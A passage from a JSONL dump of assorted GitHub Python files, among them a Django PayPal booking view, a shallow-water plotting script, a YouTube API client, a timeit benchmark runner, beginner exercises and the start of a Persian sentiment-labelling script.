       pass\n\n        return super().form_valid(form)\n\n\n@method_decorator(csrf_exempt, name='dispatch')\nclass ChildbirthClassBookingSuccess(TemplateView):\n    '''Redirect to template_name after successfully registering for childbirth class.'''\n\n    template_name = 'childbirth_classes_booking_success.html'\n\n    def get_context_data(self, **kwargs):\n        # Get childbirth class booking details to display on page.\n        context = super().get_context_data(**kwargs)\n        booking = ChildbirthClassBooking.objects.get(id=kwargs['pk'])\n        context['booking_detail'] = booking\n\n        # Dictionary used to populate the PayPal IPN form.\n        paypal_dict = {\n            'business': settings.PAYPAL_RECEIVER_EMAIL,\n            'amount': booking.cost,\n            'item_name': booking.cb_class.title,\n            'invoice': f\"cb{str(booking.pk)}\",\n            'currency_code': 'USD',\n            'notify_url': self.request.build_absolute_uri(reverse('paypal-ipn')),\n            'return': self.request.build_absolute_uri(reverse('payment-success')),\n            'cancel_return': self.request.build_absolute_uri(reverse('childbirth_classes:success', kwargs={'pk': booking.pk})),\n            'custom': booking.id,\n        }\n\n        # Paypal payment form instance.\n        form = PayPalPaymentsForm(initial=paypal_dict)\n        context['form'] = form\n        context['request'] = self.request\n        return context\n","repo_name":"BrianC68/wr_maternity","sub_path":"childbirth_classes/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":6060,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"73389284092","text":"from clawpack.pyclaw.solution import Solution\n#from petclaw.io.petsc import read_petsc\nimport matplotlib\nmatplotlib.use('Agg')\nimport matplotlib.pylab as pl\nfrom matplotlib import rc\n#rc('text', usetex=True)\nimport numpy as np\nimport os\n\n# *********************************************************** #\n# ********** FUNCTIONS TO COMPUTE ENTROPY RESIDUAL ********** #\n# *********************************************************** #\ntol=1E-7\ndef reconstruct_solution(h):\n    x_hL = np.zeros_like(h)\n    x_hR = np.zeros_like(h)\n    x_hL[2:-2,:] = (-3.*h[:-4,:] + 27*h[1:-3,:] + 47*h[2:-2,:] - 13*h[3:-1,:] + 2*h[4:,:])/60.\n    x_hR[2:-2,:] = (2.*h[:-4,:] - 13*h[1:-3,:] + 47*h[2:-2,:] + 27*h[3:-1,:] - 3*h[4:,:])/60.\n\n    y_hL = np.zeros_like(h)\n    y_hR = np.zeros_like(h)\n    y_hL[:,2:-2] = (-3.*h[:,:-4] + 27*h[:,1:-3] + 47*h[:,2:-2] - 13*h[:,3:-1] + 2*h[:,4:])/60.\n    y_hR[:,2:-2] = (2.*h[:,:-4] - 13*h[:,1:-3] + 47*h[:,2:-2] + 27*h[:,3:-1] - 3*h[:,4:])/60.\n\n    return x_hL, x_hR, y_hL, y_hR\n#\n# ENTROPY AND ITS DERIVATIVES\ndef get_entropy(g,h,hu,hv):\n    return 0.5*g*h**2 + 0.5*(hu**2+hv**2)/(h+tol)\ndef dEntropy_dh(g,h,hu,hv):\n    return g*h - 0.5*(hu**2+hv**2)/(h**2+tol)\ndef dEntropy_dhu(g,h,hu,hv):\n    return hu/(h+tol)\ndef dEntropy_dhv(g,h,hu,hv):\n    return hv/(h+tol)\n# FLUXES OF THE SHALLOW WATER EQUATIONS\ndef xFluxTerm1(g,h,hu,hv):\n    return hu\ndef xFluxTerm2(g,h,hu,hv):\n    return hu**2/(h+tol) + 0.5*g*h**2\ndef xFluxTerm3(g,h,hu,hv):\n    return hu*hv/(h+tol)\ndef yFluxTerm1(g,h,hu,hv):\n    return hv\ndef yFluxTerm2(g,h,hu,hv):\n    return hu*hv/(h+tol)\ndef yFluxTerm3(g,h,hu,hv):\n    return hv**2/(h+tol) + 0.5*g*h**2\n# DERIVATIVES OF ENTROPY FLUX \ndef xEntFlux(g,h,hu,hv):\n    return (0.5*(hu**2+hv**2)/(h+tol) + g*h**2)*hu/(h+tol) \ndef yEntFlux(g,h,hu,hv):\n    return (0.5*(hu**2+hv**2)/(h+tol) + g*h**2)*hv/(h+tol)\n# SUM INTEGRALS OVER PATCH\ndef sumIntOverPatch(I):\n    I[1:-1,1:-1] = (I[1:-1,1:-1] +\n                    I[:-2,1:-1] + I[2:,1:-1] +\n                    I[1:-1,:-2] + I[1:-1,2:] +\n                    I[2:,2:] + I[:-2,2:] + I[2:,:-2] +I[:-2,:-2])\n    \n# *********************************************************** #\n\ndef plot_q(frame,\n           bathymetry=False,\n           path='./_output/',\n           plot_pcolor=True,\n           plot_ent_residual=False,\n           hLim=None,\n           momMagLim=None,\n           plot_slices=True):\n    import sys\n    sys.path.append('.')\n\n    sol=Solution(frame,read_aux=False,path=path)\n    x=sol.state.grid.x.centers; y=sol.state.grid.y.centers\n    mx=len(x); my=len(y)\n\n    h=sol.state.q[0,:,:]\n    if bathymetry:\n        b=sol.aux[0,:,:]        \n        eta=h+b\n    else:\n        eta=h\n    #\n    q1=sol.state.q[1,:,:]\n    q2=sol.state.q[2,:,:]\n    qMag = np.sqrt(q1**2 + q2**2)\n\n    # old solution \n    if plot_ent_residual:\n        old_sol = Solution(frame,read_aux=False,path=path,file_prefix='old_soln')\n        old_h = old_sol.state.q[0,:,:]\n        if bathymetry:\n            old_eta = old_h + b\n        else:\n            old_eta = old_h\n        #\n        old_q1 = old_sol.state.q[1,:,:]\n        old_q2 = old_sol.state.q[2,:,:]\n        old_qMag = np.sqrt(old_q1**2 + old_q2**2)\n    #    \n    yy,xx = np.meshgrid(y,x)\n\n    if frame < 10:\n        str_frame = \"000\"+str(frame)\n    elif frame < 100:\n        str_frame = \"00\"+str(frame)\n    elif frame < 1000:\n        str_frame = \"0\"+str(frame)\n    else:\n        str_frame = str(frame)\n\n    if plot_pcolor:\n        fig = pl.figure(figsize=(24,8))\n        # ***** Water depth ***** #\n        pl.subplot(121)\n        pl.pcolormesh(xx,yy,eta)\n        cb = pl.colorbar();\n        if hLim is not None:\n            pl.clim(hLim[0],hLim[1])\n        #\n        # ***** Magnitude of momentum ***** #\n        pl.subplot(122)\n        pl.pcolormesh(xx,yy,qMag)\n        cb = pl.colorbar();\n        if momMagLim is not None:\n            pl.clim(momMagLim[0],momMagLim[1])\n        #\n\n        pl.suptitle(\"t= \"+str(sol.state.t),fontsize=20)\n        pl.savefig('./_plots/pcolor/'+str_frame+'.png')\n        pl.close()\n    if plot_ent_residual:\n        g=sol.state.problem_data['grav']\n        dx = sol.state.delta[0]\n        dy = sol.state.delta[1]\n        \n        # reconstruct solution at the interfaces\n        x_hL, x_hR, y_hL, y_hR = reconstruct_solution(h)\n        x_huL, x_huR, y_huL, y_huR = reconstruct_solution(q1)\n        x_hvL, x_hvR, y_hvL, y_hvR = reconstruct_solution(q2)\n\n        int_div_ent_flux = ( (xEntFlux(g,x_hR,x_huR,x_hvR) - xEntFlux(g,x_hL,x_huL,x_hvL))*dy +\n                             (yEntFlux(g,y_hR,y_huR,y_hvR) - yEntFlux(g,y_hL,y_huL,y_hvL))*dx )\n        sumIntOverPatch(int_div_ent_flux)\n        # derivative of the entropy \n        eta_prime_term1 = dEntropy_dh(g,h,q1,q2)\n        eta_prime_term2 = dEntropy_dhu(g,h,q1,q2)\n        eta_prime_term3 = dEntropy_dhv(g,h,q1,q2)\n        \n        # integral of the divergence of the flux \n        int_div_flux_term1 = ( (xFluxTerm1(g,x_hR,x_huR,x_hvR) - xFluxTerm1(g,x_hL,x_huL,x_hvL))*dy +\n                               (yFluxTerm1(g,y_hR,y_huR,y_hvR) - yFluxTerm1(g,y_hL,y_huL,y_hvL))*dx )\n        int_div_flux_term2 = ( (xFluxTerm2(g,x_hR,x_huR,x_hvR) - xFluxTerm2(g,x_hL,x_huL,x_hvL))*dy +\n                               (yFluxTerm2(g,y_hR,y_huR,y_hvR) - yFluxTerm2(g,y_hL,y_huL,y_hvL))*dx )\n        int_div_flux_term3 = ( (xFluxTerm3(g,x_hR,x_huR,x_hvR) - xFluxTerm3(g,x_hL,x_huL,x_hvL))*dy +\n                               (yFluxTerm3(g,y_hR,y_huR,y_hvR) - yFluxTerm3(g,y_hL,y_huL,y_hvL))*dx )\n        sumIntOverPatch(int_div_flux_term1)\n        sumIntOverPatch(int_div_flux_term2)\n        sumIntOverPatch(int_div_flux_term3)\n        # get dot product of the derivative of entropy and the int of the div of the flux\n        eta_prime_times_int_div_flux = (eta_prime_term1 * int_div_flux_term1 +\n                                        eta_prime_term2 * int_div_flux_term2 +\n                                        eta_prime_term3 * int_div_flux_term3)\n        \n        # get l2 norm of the derivative of the entropy\n        #abs_eta_prime = np.sqrt(eta_prime_term1**2 + eta_prime_term2**2 + eta_prime_term3**2) \n        \n        # get the l2 norm of the integral of the divergence of the flux\n        #abs_int_div_flux = np.sqrt(int_div_flux_term1**2 + int_div_flux_term2**2 + int_div_flux_term3**2)\n        \n        # entropy residual \n        Ri = ( np.abs(int_div_ent_flux - eta_prime_times_int_div_flux) /\n               #(np.abs(int_div_ent_flux) + abs_eta_prime * abs_int_div_flux + tol) )\n               (np.abs(int_div_ent_flux) + np.abs(eta_prime_times_int_div_flux) + tol) )\n\n        # entropy residual based on time derivative \n        dt = sol.t-old_sol.t\n        entropy_tnm1 = get_entropy(g,old_h,old_q1,old_q2)\n        entropy_tn = get_entropy(g,h,q1,q2)\n        int_dt_ent = (entropy_tn - entropy_tnm1)/dt*dx*dy\n        sumIntOverPatch(int_dt_ent)\n        ent_residual = int_dt_ent + int_div_ent_flux\n        Ri_v2 = (np.abs(ent_residual)/\n                 (np.abs(int_dt_ent) + np.abs(int_div_ent_flux)+tol))\n        #Ri_v2 = ( ent_residual*(ent_residual>0.) / \n        #          (np.abs(dt_entropy) + np.abs(int_div_ent_flux)+tol))        \n        # plot\n        fig = pl.figure(figsize=(24,8))\n        pl.subplot(121)\n        # entropy dissipation\n        pl.pcolormesh(xx,yy, Ri)\n        #pl.pcolormesh(xx,yy,neg_ent_residual)\n        #pl.xlim([0,0.3])\n        #pl.ylim([0,0.3])\n        cb = pl.colorbar();\n        # entropy production\n        pl.subplot(122)\n        pl.pcolormesh(xx,yy, Ri_v2)\n        #pl.xlim([0,0.3])\n        #pl.ylim([0,0.3])\n        cb = pl.colorbar();        \n\n        pl.suptitle(\"t= \"+str(sol.state.t),fontsize=20)        \n        pl.savefig('./_plots/pcolor/ent_residual_'+str_frame+'.png')\n        pl.close()\n    if plot_slices:\n        pl.figure(figsize=(8,3))\n        pl.plot(x,eta[:,my//2],'-r',lw=1)\n        #pl.plot(x,qMag[:,my/2],'-r',lw=1)\n        pl.title(\"t= \"+str(sol.state.t),fontsize=20)\n        pl.xlabel('x',fontsize=20)\n        pl.ylabel('Surface',fontsize=20)\n        pl.xticks(size=20); pl.yticks(size=20)\n        pl.savefig('./_plots/slices/qMag_'+str_frame+'_slices.png')\n        pl.close()\n\nif __name__== \"__main__\":\n    if not os.path.exists('./_plots'): os.mkdir('_plots')\n    if not os.path.exists('./_plots/pcolor'): os.mkdir('_plots/pcolor')\n    if not os.path.exists('./_plots/pcolor/momMag'): os.mkdir('_plots/pcolor/momMag')\n    if not os.path.exists('./_plots/pcolor/eta'): os.mkdir('_plots/pcolor/eta')\n    if not os.path.exists('./_plots/slices'): os.mkdir('_plots/slices')\n    from_frame = 0\n    to_frame   = 1000\n    frames=range(from_frame,to_frame+1)\n\n    ##########################################\n    # Get min and max values for color plots #\n    sol=Solution(0,read_aux=False,path='./_output/')\n    hMin = sol.state.q[0,:,:].min(); hMax = sol.state.q[0,:,:].max()\n    print (hMin, hMax)\n    q1=sol.state.q[1,:,:]; q2=sol.state.q[2,:,:]\n    momMag = np.sqrt(q1**2 + q2**2)\n    momMagMin = momMag.min(); momMagMax = momMag.max()\n    ###########################################\n    \n    if not os.path.exists('./_plots'): os.mkdir('./_plots')\n    print('**********************')\n    print('**********************')\n    print('Plotting solution ...')\n    for i in frames:\n        plot_q(frame=i,\n               plot_pcolor=True,\n               plot_ent_residual=False,\n               #hLim=[hMin,hMax],\n               #momMagLim=[momMagMin,momMagMax],\n               plot_slices=True)\n        print ('frame '+str(i)+' plotted')\n\n","repo_name":"ketch/circular_hydraulic_jump","sub_path":"tmp_llf/plot.py","file_name":"plot.py","file_ext":"py","file_size_in_byte":9509,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"78"}
+{"seq_id":"1345749932","text":"import friendly\n\n\ndef test_flush():\n    try:\n        b = c\n    except Exception:\n        friendly.explain_traceback(redirect=\"capture\")\n    result = friendly.get_output(flush=False)\n    assert \"NameError: name 'c' is not defined\" in result\n    result1 = friendly.get_output()  # flushes\n    assert \"NameError: name 'c' is not defined\" in result1\n    result2 = friendly.get_output()  # returns empty string\n    assert not result2\n    return result, result2\n\n\nif __name__ == \"__main__\":\n    result, result2 = test_flush()\n    print(\"Before flush:\\n\", \"-\" * 50)\n    print(result)\n    print(\"=\" * 50, \"\\nAfter flush, should have empty string:\\n\")\n    print(repr(result2))\n","repo_name":"aroberge/friendly","sub_path":"tests/unit/test_flush.py","file_name":"test_flush.py","file_ext":"py","file_size_in_byte":668,"program_lang":"python","lang":"en","doc_type":"code","stars":325,"dataset":"github-code","pt":"78"}
+{"seq_id":"6824179587","text":"#!/usr/bin/env python\n\nfrom setuptools import setup, find_packages\n\nREQUIRES = [\n    'phenix-apps @ git+https://github.com/sandia-minimega/phenix-apps.git@main#egg=phenix-apps&subdirectory=src/python',\n    'minimega',\n]\n\nENTRIES = {\n    'console_scripts' : [\n        'phenix-app-windy = windy.windy:main',\n    ]\n}\n\nsetup(\n    name                 = 'windy-app',\n    version              = '0.0.1',\n    description          = 'User app for wind project',\n    license              = 'GPLv3',\n    platforms            = 'Linux',\n    classifiers          = [\n        'Development Status :: 4 - Beta',\n        'Operating System :: POSIX :: Linux',\n        'Programming Language :: Python :: 3.5',\n    ],\n    entry_points         = ENTRIES,\n    packages             = find_packages(),\n    install_requires     = REQUIRES,\n    include_package_data = True,\n\n    package_data = {\n        # Include mako template files found in all packages.\n        \"\": [\"*.mako\"]\n    }\n)\n","repo_name":"sandialabs/sceptre-phenix-topologies","sub_path":"renewables/wind/plant/apps/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":963,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"78"}
+{"seq_id":"75045281213","text":"import pandas as pd\nimport numpy as np\nimport os\nimport streamlit as st\ncwd =os.getcwd()\n\n#could also be photon source..think it again\nclass illumination:\n\t# create insolation class tht allows you to select mode\n        # modes: Day (just DISR, LEDS off), Night (all LEDs on), Day+ (DISR + LEDS on)\n        # add modes for just select LEDS (?)\n        def __init__(self,mode,LED_bands=None):\n            self.numberofLEDs={'band1':8,'band2':12,'band3':16,'band4':20,'band5':12,'band6':20,'band7':20,'band8':20,'band9':20}\n\n            DISR= pd.read_csv(os.sep.join([cwd, 'color', 'DISRspectrumUniformWavelegnths.csv']),sep=',',names=['wave_nm','flux'], skiprows=1)\n            LED= pd.read_csv(os.sep.join([cwd, 'color', 'LEDspectraUniformWavelegnths.csv']),sep=',',names=['wave_nm','band1','band2','band3','band4','band5','band6','band7','band8','band9'],skiprows=1)\n            self.RQE= pd.read_csv(os.sep.join([cwd, 'color', 'RQEUniformWavelegnths.csv']),sep=',',names=['wave_nm','QE'], skiprows=1)\n            self.GQE= pd.read_csv(os.sep.join([cwd, 'color', 'GQEUniformWavelegnths.csv']),sep=',',names=['wave_nm','QE'], skiprows=1)\n            self.BQE= pd.read_csv(os.sep.join([cwd, 'color', 'BQEUniformWavelegnths.csv']),sep=',',names=['wave_nm','QE'], skiprows=1)\n\n            # st.write(LED)\n            ## SMACK: multiply each band spectrum by the corresponding number of LEDs\n            for c in LED.columns[1:]:\n                # st.write(LED[c])\n                LED[c]=LED[c].multiply(self.numberofLEDs[c])\n            # st.write(LED)\n            #SM\n            if mode=='Day':\n                self.mode=mode\n                self.fluxspectrum=DISR\n                self.description=\"This mode uses the DISR spectrum as illumination mode to replicate day-time observation conditions\"\n\n            if mode=='Night':\n                self.mode=mode\n                # st.write(LED)\n                # st.write(pd.DataFrame({'wave_nm':LED.wave_nm,'flux':LED.iloc[:,1:].sum(axis=1)}))\n                self.fluxspectrum= pd.DataFrame({'wave_nm':LED.wave_nm,'flux':LED.iloc[:,1:].sum(axis=1)})\n                self.description=\"This mode activates all LED bands as the illumination mode to replicate night-time observation conditions\"\n                #Multiply by FWHM value--in folder\n\n            if mode == 'Day+':\n                self.mode= mode\n                self.fluxspectrum= DISR.add(pd.DataFrame({'wave_nm':LED.wave_nm,'flux':LED.iloc[:,1:].sum(axis=1)}))\n                self.description=\"This mode uses the DISR spectrum in conjunction with all activated LED bands as the illumination mode to replicate day-time observation conditions with LEDs\"\n\n            if mode == 'Single':\n                self.mode=mode\n                # self.LED_bands= st.multiselect('Select your single LED band(s): ',['band1','band2','band3','band4','band5','band6','band7','band8','band9'])\n                self.LED_bands=LED_bands\n                self.fluxspectrum = pd.DataFrame({'wave_nm':LED.wave_nm,'flux':LED[self.LED_bands].sum(axis=1)})\n                self.description=\"This mode activates user-specific LED bands as the illumination mode to observe at discrete wavelengths\"\n","repo_name":"karnegre/GitApp-Model-Color","sub_path":"illuminationclass.py","file_name":"illuminationclass.py","file_ext":"py","file_size_in_byte":3181,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"14123744826","text":"import tkinter as tk\nfrom tkinter import *\nfrom tkinter import messagebox\nimport os\nimport subprocess\nimport webbrowser\n\nhome_dir =os.getenv(\"HOME\") + \"/wellnessapp/\" \n  \nwindow = tk.Tk()\n \nwindow.title(\"AkaTracker\")\nwindow.minsize(250,250)\n \ndef clickMe():\n   #status, output = os.system(\"python3 \"+ script)\n   if os.system(\"python3 \"+ home_dir+\"plot_chart.py\") == 0:\n   \tstat = webbrowser.get('open -a /Applications/Google\\\\ Chrome.app/Contents/MacOS/Google\\\\ Chrome %s').open_new_tab(home_dir+'index2.html')\n   \tif stat:\n   \t\texit(0)\n   \telse :\n   \t\tmessagebox.showerror(\"ERROR\", \"Could not open webpage\")\n   else:\n   \tmessagebox.showerror(\"ERROR\", \"Plot graph did not run succeessfully\")\n\noutput = subprocess.check_output(\"id -F\", shell=True)\n#print(output.decode(\"utf-8\"))\nl = Label(window, text = \"Hello \"+output.decode(\"utf-8\").strip() + \"!\")\nl.config(font =(\"Courier\", 24))\nl.pack() \n   \nbutton = Button(window, text = \"Show me some stats\", command = clickMe,height = 5, width = 15)\n#button.grid(column= 0, row = 2)\nbutton.pack()\n \nwindow.mainloop()","repo_name":"mohini5raj/wellnessapp","sub_path":"AkaTracker.py","file_name":"AkaTracker.py","file_ext":"py","file_size_in_byte":1057,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"10577383325","text":"import asyncio\n\nfrom .utils import fetch\nfrom .config import Settings\nfrom aiohttp import ClientSession\n\n\nbase_url = 'https://www.googleapis.com/youtube/v3/{}'\n\n\nasync def fetch_youtube(session: ClientSession, resource: str, part: str, **kwargs) -> dict:\n    params = {\n        'part': part,\n        'key': Settings.YOUTUBE_API_KEY,\n        **kwargs\n    }\n\n    url = base_url.format(resource)\n    json = await fetch(session, url, params=params)\n\n    return json\n\n\nasync def search_channel(session: ClientSession, query: str) -> str:\n    json = await fetch_youtube(session, 'search', 'id', type='channel', maxResults=1, q=query)\n    result = json['items'][0]['id']['channelId']\n\n    return result\n\n\nasync def fetch_channel(session: ClientSession, channel_id: str, snippet=False):\n    part = 'contentDetails'\n    if snippet:\n        part += ',snippet'\n\n    json = await fetch_youtube(session, 'channels', part, id=channel_id)\n    channel = json['items'][0]\n    print(channel)\n    return channel\n\n\nasync def get_channel_playlists(session: ClientSession, channel_id: str):\n    channel = await fetch_channel(session, channel_id)\n    channel_playlist = channel['contentDetails']['relatedPlaylists']['uploads']\n\n    return channel_playlist\n\n\nasync def get_playlist_videos(session: ClientSession, playlist_id: str, max_results: int = 5) -> list:\n    json = await fetch_youtube(session, 'playlistItems', 'snippet,contentDetails', playlistId=playlist_id, maxResults=max_results)\n    videos = json['items'][::-1]\n\n    return videos\n\n\nasync def get_playlist_videos_id(session: ClientSession, channel_id: str):\n    videos = await get_playlist_videos(session, channel_id)\n    return map(lambda video: video['snippet']['resourceId']['videoId'], videos)\n\n\nasync def main():\n    async with ClientSession() as session:\n        channel_id = await search_channel(session, 'test')\n        channel = await fetch_channel(session, channel_id)\n        print(channel)\n\n\nif __name__ == '__main__':\n    asyncio.run(main())\n","repo_name":"zd4y/discordbot","sub_path":"bot/youtube.py","file_name":"youtube.py","file_ext":"py","file_size_in_byte":1995,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"24603083675","text":"import tkinter\r\nimport threading\r\nimport time\r\nimport user\r\n\r\n\r\n# Get all text from another file\r\n# Delete after\r\nallText = []\r\n\r\n# Return useful modes\r\ndef filterByMode(allText, usefulMode=[1,2]):\r\n\t# usefulMode is an int list\r\n\tmodeList = [[] for i in range(6)]\r\n\r\n\tfor text in allText:\r\n\r\n\t\tif text.mode in usefulMode:\r\n\t\t\tmodeList[text.mode].append(text)\r\n\r\n\treturn modeList\r\n\r\n# Return dictionary by current day\r\ndef filterByTime(currMode):\r\n\t#for currMode in modeList:\r\n\td = dict()\r\n\tfor text in currMode:\r\n\t\tif text.getDay() not in d:\r\n\t\t\td[text.getDay()] = [text]\r\n\t\telse:\r\n\t\t\td[text.getDay()].append(text)\r\n\r\n\treturn d\r\n\r\n# Lose trash identified by sorting bot\r\ndef filterBySortingBot(d, sortedTag):\r\n\tnewDict = dict()\r\n\tfor key in d:\r\n\t\tfor text in d[key]:\r\n\t\t\tif text.sort in sortedTag:\r\n\t\t\t\td[key].remove(text)\r\n\t\t\t\t\r\n\treturn d\r\n","repo_name":"ReedyHarbour/LogChat","sub_path":"sort.py","file_name":"sort.py","file_ext":"py","file_size_in_byte":841,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"15898337758","text":"# coding=utf-8\n\nfrom pyspark_hnsw.knn import HnswSimilarity\nfrom pyspark.ml.linalg import Vectors\nfrom pyspark.sql import SQLContext\nfrom pyspark.sql import functions as F\n\n\ndef test_incremental_models(spark_context, tmp_path):\n\n    sql_context = SQLContext(spark_context)\n\n    df1 = sql_context.createDataFrame([\n        [1, Vectors.dense([0.1, 0.2, 0.3])]\n    ], ['id', 'features'])\n\n    hnsw1 = HnswSimilarity()\n\n    model1 = hnsw1.fit(df1)\n\n    model1.write().overwrite().save(tmp_path.as_posix())\n\n    df2 = sql_context.createDataFrame([\n        [2, Vectors.dense([0.9, 0.1, 0.2])]\n    ], ['id', 'features'])\n\n    hnsw2 = HnswSimilarity(initialModelPath=tmp_path.as_posix())\n\n    model2 = hnsw2.fit(df2)\n\n    assert model2.transform(df1).select(F.explode(\"prediction\")).count() == 2\n\n","repo_name":"jelmerk/hnswlib","sub_path":"hnswlib-pyspark/tests/test_integration.py","file_name":"test_integration.py","file_ext":"py","file_size_in_byte":789,"program_lang":"python","lang":"en","doc_type":"code","stars":225,"dataset":"github-code","pt":"78"}
+{"seq_id":"30131337577","text":"from caesar_logic import encrypt, decrypt\n\n\nButton = input(' Encrypt text - press E. Decrypt text - press D ')\nif Button != 'e' and Button != 'E' and Button != 'd' and Button != 'D':\n    raise ValueError('Incorrect Button')\nelse:\n    a = input('text:')\n    n = input('offset:')\n    try:\n        if Button == 'e' or Button == 'E':\n            print(encrypt(int(n), a))\n        else:\n            print(decrypt(int(n), a))\n    except ValueError:\n        print('Incorrect input')\n","repo_name":"7KASPAR7/University-Homeworks","sub_path":"sem1/hw3/Second_task/caesar.py","file_name":"caesar.py","file_ext":"py","file_size_in_byte":476,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"20181008820","text":"# Write a program to approve a bank loan to buy a house\n# It must ask the house's value, the salary of the owner and for how many years he's planning to pay\n# The installment can't exceed 30% of the salary\nvalue = float(input(\"What's the house's value? \"))\nsalary = float(input(\"How much do you earn per month? \"))\ntime = int(input('How many years do you plan pay it? '))\ninstallment = value / (time*12)\nif salary * 0.3 >= installment:\n    print('To buy a R${:.2f} house in {} years, the installment is R${:.2f}'.format(value, time,\n                                                                                    installment))\n    print(\"The loan CAN be done\")\nelse:\n    print('To buy a R${:.2f} house in {} years, the installment is R${:.2f}'.format(value, time, installment))\n    print(\"The loan CAN'T be done\")\n","repo_name":"eriquinhos/Learning","sub_path":"curso_em_video_gustavo_guanabara/mundo_2/Exercício 36.py","file_name":"Exercício 36.py","file_ext":"py","file_size_in_byte":818,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"38156724064","text":"# Functions in Python\ndef simpleInterest(p, r, t):\n    si = (p*r*t)/100\n    print(f\"Simple Interest is - \", si)\n\n\nprinicipal = int(input(\"Enter Prinicipal Amount : \"))\nrate = int(input(\"Enter rate of Interest : \"))\ntime = int(input(\"Enter time in years : \"))\nsimpleInterest(prinicipal, rate, time)\n\n\n# def message():\n#     print(\"Hello, I am Function\")\n#\n#\n# def addition(a, b):\n#     c = a + b\n#     print(f\"Addition of a and b is - \", c)\n#\n#\n# message()\n# addition(10, 12)\n# addition(50, 8)","repo_name":"anshulc55/selenium-python","sub_path":"PythonBasics/Conditional_and_funcational/funcations.py","file_name":"funcations.py","file_ext":"py","file_size_in_byte":492,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"}
+{"seq_id":"7743578554","text":"\"\"\"\npybench.py: Test speed of one or more Pythons on a set of simple\ncode-string benchmarks. A function, to allow stmts to vary.\nThis system itself runs on both 2.X and 3.X, and may spawn both.\nUses timeit to test either the Python running this script by API\ncalls, or a set of Pythons by reading spawned command-line outputs\n(os.popen) with Python's -m flag to find timeit on module search path.\nReplaces $listif3 with a list() around generators for 3.X and an\nempty string for 2.X, so 3.X does same work as 2.X. In command-line\nmode only, must split multiline statements into one separate quoted\nargument per line so all will be run (else might run/time first line\nonly), and replace all \\t in indentation with 4 spaces for uniformity.\nCaveats: command-line mode (only) may fail if test stmt embeds double\nquotes, quoted stmt string is incompatible with shell in general, or\ncommand-line exceeds a length limit on platform's shell--use API call\nmode or homegrown timer; does not yet support a setup statement: as is,\ntime of all statements in the test stmt are charged to the total time.\n\"\"\"\n\nimport sys, os, timeit\ndefnum, defrep = 1000, 5\n\ndef runner(stmts, pythons=None, tracecmd=False):\n    \"\"\"\n    Main logic: run tests per input lists, caller handles usage modes.\n    stmts: [(number?, repeat?, stmt-string)], replaces $listif3 in stmt\n    pythons: None=this python only, or [(ispy3?, python-executable-path)]\n    \"\"\"\n    print(sys.version)\n    for (number, repeat, stmt) in stmts:\n        number = number or defnum\n        repeat = repeat or defrep\n        \n        if not pythons:\n            # Run stmt on this python: API call\n            # No need to split lines or quote here\n            ispy3 = sys.version[0] == '3'\n            stmt = stmt.replace('$listif3', 'list' if ispy3 else '')\n            best = min(timeit.repeat(stmt=stmt, number=number, repeat=repeat))\n            print('%.4f [%r]' % (best, stmt[:70]))\n        \n        else:\n            # Run stmt on all pythons: command line\n            # Split lines into quoted arguments\n            print('-' * 80)\n            print('[%r]' % stmt)\n            for (ispy3, python) in pythons:\n                stmt1 = stmt.replace('$listif3', 'list' if ispy3 else '')\n                stmt1 = stmt1.replace('\\t', ' ' * 4)\n                lines = stmt1.split('\\n')\n                args = ' '.join('\"%s\"' % line for line in lines)\n                cmd = '%s -m timeit -n %s -r %s %s' % (python, number, repeat, args)\n                print(python)\n                if tracecmd: print(cmd)\n                print('\\t' + os.popen(cmd).read().rstrip())","repo_name":"GitLanx/Python-note","sub_path":"Learning Python/4、函数和生成器/pybench.py","file_name":"pybench.py","file_ext":"py","file_size_in_byte":2607,"program_lang":"python","lang":"en","doc_type":"code","stars":94,"dataset":"github-code","pt":"78"}
+{"seq_id":"43544366355","text":"from builtins import map\r\nimport tkinter as tk\r\nfrom cProfile import label\r\nimport seaborn as sns\r\nimport matplotlib.pyplot as plt\r\nimport numpy\r\nimport pandas as pd\r\nfrom pandas.core.series import Series\r\nimport regex as reg\r\nimport time\r\nfrom sklearn.model_selection import train_test_split\r\nfrom sklearn.ensemble import RandomForestClassifier\r\nfrom sklearn.metrics import accuracy_score, confusion_matrix, classification_report\r\n\r\ndef tests():\r\n    for i in range (2,66):\r\n        if i==3:\r\n            continue\r\n        test=pd.read_excel (r'Answer\\split_'+str(i)+'.xlsx')\r\n        for j in range(0, test['label'].size):\r\n            if (test['label'][j] != -1 and test['label'][j] != 0 and test['label'][j] != 1):\r\n                print(i, 'in row:', j)\r\n\r\n\r\n\r\ndef remove_stopwords(string):\r\n    temp = pd.read_excel(r'persian-stopwords-master\\stop words.xlsx')\r\n    my_stops_set=set(temp[\"stops\"][:])\r\n    words=reg.split(string=string,pattern=\" \")\r\n    words = [reg.sub(pattern='[a-zA-Z,0-9,.,!,?,(,),<,>,\\n,\\u200c,۰-۹]', repl=' ', string=i) for i in words]\r\n    while ' ' in words:\r\n        words.remove(' ')\r\n    # print(my_stops_set)\r\n    words = [w for w in words if not w in my_stops_set]\r\n    # print(words)\r\n    return (\" \".join(words))\r\ndef click():\r\n    id=int(txt.get())\r\n    count_pos=0\r\n    count_neu=0\r\n    count_neg=0\r\n    count_all=0\r\n    df = pd.read_excel(r'output.xlsx')\r\n    number = df['label'].size\r\n    if var1.get()==1:\r\n        for i in range(0,number):\r\n            if(df['product_id'][i]==id):\r\n                count_all+=1\r\n                if(df['label'][i]==-1):\r\n                    count_neg+=1\r\n                elif (df['label'][i]==0):\r\n                    count_neu+=1\r\n                else:\r\n                    count_pos+=1\r\n            if(i==number-1 and count_all==0):\r\n                print(\"there is no 